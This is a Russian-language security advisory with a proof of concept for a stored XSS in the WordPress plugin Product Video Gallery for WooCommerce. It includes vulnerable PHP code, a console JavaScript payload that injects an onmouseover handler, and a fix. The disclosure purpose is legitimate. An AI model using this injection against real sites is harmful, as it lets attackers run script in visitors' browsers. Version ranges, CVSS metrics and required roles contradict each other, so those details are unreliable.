
Product Video Gallery для Woocommerce <= 1.5.1.8 — Аутентифицированная хранимая межсайтовая сценарная уязвимость (Proof of Concept)
| Деталь | Значение |
|---|
| Идентификатор CVE | CVE-2026-10104 |
| Плагин | Product Video Gallery for WooCommerce |
| Вендор | TechnoSoft Webs (NikHiL Gadhiya) |
| Тип | Хранимая межсайтовая скриптовая уязвимость (XSS) |
| CWE | CWE-79 — Неправильная нейтрализация ввода при генерации веб-страницы |
| CVSS 3.1 | 4.4 (Средний) |
| Затронутые версии | ≤ 1.5.1.6 |
| Исправленная версия | 1.5.1.9 |
| Требует аутентификации | Да — Contributor+ (любая роль, которая может редактировать товары) |
| Обнаружено | Ravindu Lakmina Munaweera |
Плагин Product Video Gallery for WooCommerce для WordPress (версии до и включая 1.5.1.6) уязвим к хранимой межсайтовой скриптовой уязвимости (XSS) через параметр мета-поля товара custom_thumbnail.
Метод save_wc_video_url_field() плагина очищает параметр POST custom_thumbnail[] с помощью sanitize_text_field(), который удаляет HTML-теги, но не удаляет символы двойных кавычек ("). На фронтенде сохраненное значение вставляется непосредственно в атрибуты тега `` в nickx_get_video_thumbanil_html() без экранирования esc_attr(). Это позволяет аутентифицированному злоумышленнику внедрять произвольные атрибуты обработчиков событий HTML (например, onmouseover, onerror), которые выполняют JavaScript в браузере любого посетителя — включая неаутентифицированных — просматривающего страницу затронутого товара.
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N
| Метрика | Значение |
|---|---|
| Вектор атаки | Сетевой |
| Сложность атаки | Низкая |
| Требуемые привилегии | Низкие |
| Взаимодействие пользователя | Отсутствует |
| Область действия | Изменена |
| Влияние на конфиденциальность | Низкое |
| Влияние на целостность | Низкое |
| Влияние на доступность | Отсутствует |
Файл: public/class-rendering.php
Метод: nickx_get_video_thumbanil_html()
// Line 365 — value inserted without esc_attr()
$custom_thumbnail = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id)
? 'custom_thumbnail="' . $custom_thumbnails[$key] . '"'
: '';
// Line 379 — rendered inside tag on the public frontend
echo '';
Файл: admin/class-video-field.php
Метод: save_wc_video_url_field()
// Line 309-310 — sanitize_text_field() strips tags but NOT double quotes
if ( isset( $_POST['custom_thumbnail'] ) ) {
update_post_meta( $post_id, '_custom_thumbnail',
array_map( 'sanitize_text_field', $_POST['custom_thumbnail'] ) );
}
Войдите как Shop Manager (злоумышленник).
Перейдите в Products → Edit для любого товара, у которого установлен URL видео в поле "Product Video Url".
Откройте Инструменты разработчика браузера (F12) → вкладка Console.
Вставьте и выполните следующий JavaScript:
const form = document.getElementById('post');
// Set thumbnail ID to a non-empty value (required by render condition)
const thumbInput = document.querySelector('input[name="product_video_thumb_url[]"]');
if (thumbInput) { thumbInput.value = '99999'; }
// Inject XSS payload via custom_thumbnail
const ct = document.createElement('input');
ct.type = 'hidden';
ct.name = 'custom_thumbnail[]';
ct.value = "yes\" onmouseover=\"alert('xss identified by Ravindu')";
form.appendChild(ct);
Нажмите "Update" для сохранения товара.
Откройте страницу товара на фронтенде в окне инкогнито/приватном окне (неаутентифицированный).
Наведите курсор на миниатюру видео в галерее товара.
✅ Выполняется JavaScript-alert, что подтверждает хранимую XSS.


Внедренная " закрывает атрибут custom_thumbnail, а onmouseover становится новым исполняемым атрибутом элемента ``.
Примените esc_attr() к значению пользовательской миниатюры перед вставкой его в атрибут HTML:
- $custom_thumbnail = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id)
- ? 'custom_thumbnail="' . $custom_thumbnails[$key] . '"'
- : '';
+ $custom_thumbnail = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id)
+ ? 'custom_thumbnail="' . esc_attr($custom_thumbnails[$key]) . '"'
+ : '';
Это же исправление должно быть применено ко всем экземплярам в nickx_get_video_thumbanil_html(), где конструируется $custom_thumbnail (оба пути кода: для массива и не-массива).
| Дата | Событие |
|---|---|
| 2026-03-20 | Уязвимость обнаружена |
| 2026-03-20 | Сообщено в Wordfence (CNA) |
| 2026-05-29 | Назначен идентификатор CVE: CVE-2026-10104 |
| 2026-07-01 | Публичное раскрытие |
Данное уведомление выпущено под лицензией CC BY 4.0.